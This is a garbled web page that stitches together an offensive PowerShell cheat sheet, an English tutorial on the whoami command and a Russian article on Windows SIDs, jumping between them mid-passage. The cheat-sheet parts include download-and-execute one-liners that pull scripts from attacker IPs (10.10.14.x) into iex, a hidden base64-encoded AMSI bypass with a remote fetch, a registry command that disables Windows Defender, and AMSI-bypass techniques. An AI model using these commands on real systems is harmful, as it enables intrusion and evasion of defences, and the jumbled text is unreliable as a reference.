Basic PS commands to start
#List everything loaded
#List everything containing "process"
#Get full helpabout a topic
#CREATE A CREDENTIAL OBJECT
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
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# Check Port or Single IP
# Check Port List in Single IP
# Check Port Range in single IP
# Check Port List in IP Lists - 80,443,445,8080
# Open SSH to the world
'SSH (Port 22)'
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
Have you ever found yourself lost in the labyrinth of command lines, wondering who you are within your computer system? Guess what? You are not alone in this quest for self-discovery within the digital realm. Worry not, though! The whoami command can help unveil your digital identity.
In this tutorial, you will understand your system’s perspective on you and gain insights that will elevate your tech-savviness to a whole new level.
Buckle up as you are about to discover a side of yourself that has been hiding in plain sight!
В среде Windows каждому доменному и локальному пользователю, группе и другим объектам безопасности, присваивается уникальный идентификатор — Security Identifier или SID. Именно SID, а не имя пользователя используется для контроля доступа к различным ресурсам: сетевым каталогам, ключам реестра, объектам файловой системы и т.д. В этой статье мы покажем несколько простых способов узнать SID пользователя и обратной процедуры – определения имени пользователя Windows по его SID.
Гораздо проще воспользоваться утилитой командной строки или скриптом Powershell
# Check status
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
# Check exclusions configured via GPO
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
amsi.dll is loaded into your process, and has the necessary exports for any application interact with. And because it’s loaded into the memory space of a process you control, you can change its behaviour by overwriting instructions in memory. Making it not detect anything.
Therefore, the goal of the AMSI bypasses you will are to overwrite the instructions of that DLL in memory to make the detection useless.
AMSI bypass generator web page: https://amsi.fail/
# A Method
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
# Another Method
# AMSI Bypass in python
# Testing for Amsi Bypass:
AMSI Bypass 2 – Managed API Call Hooking
Check this post for detailed info and the code. Introduction:
This new technique relies upon API call hooking of .NET methods. As it turns out, .NET Methods need to get compiled down to native machine instructions in memory which end up looking very similar to native methods. These compiled methods can hooked to change the control flow of a program.
The steps performing API cal hooking of .NET methods are:
Identify the target method to hook
Define a method with the same function prototype as the target
Use reflection to find the methods
Ensure each method has been compiled
Find the location of each method in memory
Overwrite the target method with instructions pointing to our malicious method
AMSI Bypass 3 – SeDebug Privilege
AMSI Bypass – More Resources
Base64 Kali & EncodedCommand
Obtaining the User Security Identifier (SID)
# PowerShell command
whoami /user
# macOS/Linux command
id- Revision – Indicates the version of the SID structure.
- Identifier Authority – A unique value assigned to each authority that generates SIDs.
- Domain Identifier – Represents the domain or security authority.
- Relative Identifier (RID) – A unique number assigned to each security principal within the domain.
Secure String to Plaintext
Password : 1ts
SecurePassword : System.Security.SecureString
Domain : HTBOr directly parsing form XML:
Password : 1ts
SecurePassword : System.Security.SecureString
Domain : HTBПолучить SID локального пользователя
В этом примере SID пользователя — S-1-5-21-1175651296-1316126944-203051354-1005
Если нужно узнать SID текущего пользователя, выполните такую команду:
На PowerShell скрипт, выдающий тот же результат можно реализовать с помощью двух классов SecurityIdentifier и NTAccount.
Download & Execute
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
#host a text record with your payload at one of your (unburned) domains and do this:
Download & Execute in background with AMSI Bypass
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" Using b64 from linux
Retrieving the Logged-in Username via the whoami Command
💡 This command does not exist on Windows.
Enable WinRM (Remote PS)
#This enables winrm
# Change NetWorkConnection Category to Private
Formatting the whoami Command’s Output
Formatting the output of the whoami command might seem like a small detail, but it is a nifty trick that can make your life in the terminal much smoother. The whoami command has options for choosing the output format that best suits your needs: a list or a CSV format.
The list format (/fo list) can be helpful if you want a more compact display. But if you need information for further processing or analysis in a spreadsheet application, the CSV format (/fo csv) is more appropriate.
# Díplays the result in list format
whoami /priv /fo list
# Díplays the result in csv format
whoami /priv /fo csvAs illustrated below, instead of squinting at a jumble of characters, you get a neat, organized output.
whoami command’s output- Replace space and comma (
[ ,]) delimiters with newline (/\n/) for each string. - Replace spaces with comma (
tr ' ' ','), capture non-space texts (\([^ ]*\)), and enclose them with double quotes ("\1").
# Dispalying the id command's output in a list format
id | sed 's/[ ,]/\n/g'
# Dispalying the groups command's output in a csv format
groups | sed 's/\([^ ]*\)/"\1"/g' | tr ' ' ','
id command’s output in list format
groups command’s output in csv formatПолучить SID доменного пользователя
Узнать SID текущей доменной учетной записи можно командой:
Если модуль AD для PowerShell отсутствует, через Powershell можно запросить данные из домена так:
Эта же команда в одну строку:
Converting the SDDL String into a Readable Format
PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0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AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories
NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
SystemAudit SuccessfulAccess (WriteAttributes) Everyone: SystemAudit SuccessfulAccess
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptorLearn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
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Определить имя пользователя по SID
Чтобы узнать имени учетной записи пользователя по SID (обратная процедура), можно воспользоваться одной из следующих команд:
На PowerShell при помощи модуля AD для Powershell:
Displaying the Security Privileges of the Logged-in User
You will see a similar output as illustrated below where:
- Privilege Name – Shows the names of different privileges available for the user.
- Description – A brief description of what each privilege allows the user to do.
- State – Indicates the current state of each privilege for the user, and there are two possible states as follows:
| State | Details |
|---|---|
| Enabled | Indicates the user has been granted that specific privilege and can exercise the associated actions on the system. |
| Disabled | Indicates the user does not have the corresponding privilege and is not allowed to perform actions associated with that privilege. |
Password from secure string
Other connected drives
Verifying a User’s Group Membership
The whoami command lets you unveil a fascinating layer of your digital identity – the groups you are a part of. This invaluable insight equips you to navigate system permissions, access rights, and collaborative environments more effectively.
# PowerShell command
whoami /groups
# macOS/Linux command
groups
Default PowerShell locations
Find a newer files
Options : CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc
OS version and HotFixes
#List only "Security Update" patches
